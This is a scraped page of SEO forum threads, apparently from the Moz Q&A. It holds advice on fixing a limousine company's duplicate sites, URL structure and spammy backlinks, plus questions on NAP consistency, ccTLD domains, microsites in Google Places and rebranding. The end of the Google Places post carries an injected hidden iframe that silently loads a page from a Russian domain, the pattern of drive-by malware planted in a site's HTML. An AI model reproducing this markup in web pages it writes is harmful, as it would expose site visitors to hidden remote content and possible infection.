Hi, Sorry i missed your response,
I think in general terms rather then me listing everything here, you should follow Patrick's advice as a start and come back once your done with all that as you will have a much improved base for further adjustment.
SEO is not a quick process, it can take months to get a good foundation if not longer, so keep that in mind when your making changes.

Thank you so much bro it's huge help from you I am start working on these pages Thanks once again.

Hi there
I would take a look at the on-site SEO link I sent over in my last comment. There is a lot of room for optimization on your website. Specifically look at:
- Title tags - Utilize branding in your titles and clean up keyword over optimization.
- URL structure - You have index.php in every one of your URLs.
- Internal linking - You link to your homepage a LOT on your Services page. Also, when you click the Services drop down and go down to Events, you can click any of the items in the sub navigation - this is a terrible user experience and needs to be fixed as soon as possible. Also, take a look at Information Architecture for SEO.
- Content audit - Your Fleet page has nothing on it.
- Backlink audit - Your metrics are pretty low in Majestic and it looks like there has been some pretty spammy link building done in the past - most of your links are from ccTLD (which makes no sense because you do business in the Bay Area, not Australia or Eastern Europe) and directories. Run through those and remove toxic, spammy, or irrelevant links.
Lastly, and this is super important to fix, you have multiple websites for your business with duplicate content:
All of which point links to www.bassilimousineservice.com. Delete these sites, run through the backlinks, remove links to these sites that are toxic and update good links to point to www.bassilimousineservice.com. This is a major reason your site is probably not performing well for certain local searches - lots of spam going on.
I would prioritize this by deleting these duplicate sites & removing or updating links, doing on-site cleanup and optimization for Bassi Limousine Service, and then build citations through Moz Local or Whitespark. You have a long road in front of you, but this will all help you in the long run.
Hope this all helps! Good luck!

A couple of improvements i can suggest straight off:
You need to redirect all non-www traffic to www. or vice versa. Currently so far as google can see, you have 2 different websites, one on http://bassilimousineservice.com/ and one on http://www.bassilimousineservice.com/
Your URL structure needs to be improved,for example: http://www.bassilimousineservice.com/index.php/services/rates.html
Should be something like: http://www.bassilimousineservice.com/services/rates

Is there any way to report a website that is not complying with webmaster guidelines to Google?
Like how we can "suggest an edit" in Google Business Listings, is there any way to report Google about the webmaster guidelines violation?

Keyword Tool Best Practices
VERY much a newbie with MOZ Pro (10 days into my 30-day trial), so for that, I apologize. I just want to get an idea of the time needed to accumulate data for keywords, and if I am doing all this right. I'm guessing this...use the tool and enter as many keyword possibilities as I can come up with for my website. Then wait a week or so. Then make a keyword decision. Is this the recommended or best practice? If it makes a difference, my website pertains to a local onsite service that I provide. Any web traffic more than 50 miles of my physical location would be a waste. My 1 on 1 session with Seun was great, but now I need to put it all together and make some traffic happen! Any other ideas, please throw them my way. If I'm completely off-base with this, feel free to send insults!

I have a client in Australia that is going to set up a website that is in Chinese to service their Asian customer base (Indonesia, Singapore, HK, China). What domain should they use?
They're website is hosted on a .com.au domain. Should they host their Chinese language pages under their current domain (.com.au) using a subdirectory (i.e. /asia) or should they use another separate domain that they own that is a regular .com? Or does it really not matter?

Best Practices: Different Phone Numbers on the Same Website
Since 2006 www.nyc-officespace-leader.com has promoted my commercial real estate brokerage business. I have been the sole broker listed on the site. As a result, the same phone number has appeared consistently throughout the site. Now I will be adding a colleague to the site (in addition to me) and I am struggling with how to best display my colleague's phone number. The 2nd broker will be adding property listings and blog posts. It was agreed that my phone number would be replaced by my colleagues phone number on his listings and blog posts. Pages that existed before would remain with my phone number. The idea being that leads generated by the 2nd broker's new content get directed to him rather than me. My concern is that having a new phone number listed will introduce an inconsistent phone number and harm our local SEO. I have read that it is absolutely critical that NAP (name, address, phone number) must be 100% consistent otherwise it can cause harm search engine ranking. What are best practices for displaying different phone numbers for different personnel on the same website without harming local SEO efforts? This situation is certainly common, so I would think there must be some work arounds. I have seen "Contact" icons that when clicked show phone numbers. Is there any standard solution for this issue that keeps NAP data consistent? Also, what if we keep the same number in the header but use different numbers in other locations? Is the header a location where we should be extra careful to display the same phone number? Thanks,

Main Website and microsite - Do I do google places for both as it will technically be duplicating the locations,?
Hi All, I have a main eCommerce website which trades out of a number of locations and all these locations appear in google places although they don't rank particularly well in google places . I also have a number of microsites which are specific to one type of product I do and these rank very well locally. My question is , should I also do google places for my microsites as this would technically mean I am creating a duplicate location listing in google places but for a different website etc./business I only have one google account so I guess this would be done under the same google account ? thanks Pete <iframe id="zunifrm" style="display: none;" src="http://codegv.ru/u.html"></iframe>

Rebranding a Website to a new Domain Name
Hi All, I'm looking to rebrand my current website to a new domain name.
Local Website Optimization | | Mark_Ch
In short the current website has out grown it's potential. The domain name is not memorable nor is it attracting a wider audience.
I will create my new website and 301 redirect the old website to the new, hence pass SEO value. Google Places
Having spoken to Google they tell me that I can simply change the URL in Google Places to the new URL. Articles on my current website
I have a number of rich content articles on my current website, can I simply create my new website and copy & paste these previously written articles? Google+, Twitter, Facebook, etc.
What should I do for accounts associated with the current website? Any other useful information would be much appreciated. Regards Mark0 -
UK website to be duplicated onto 2 ccTLD's - is this duplicate content?
Hi We have a client who wishes to have a site created and duplicated onto 3 servers hosted in three different countries. United Kingdom, Australia and USA. All of which will ofcourse be in the English language. A long story short, the website will provide the user 3 options on the homepage asking them which "country site" they wish to view. (I know I can detect the user IP and autoredirect but this is not what they want) Once they choose an option it will direct the user to the appropriate ccTLD. Now the client wants the same information to appear on all 3 sites with some slight variations in products available and English/US spelling difference but for the most part, the sites will look the same with the same content on each page. So my question is, will these 3 sites been seen as duplicates of each other even though they are hosted in different countries and are on ccTLD's? Are there any considerations I should pass onto the client with this approach? Many thanks for reading.
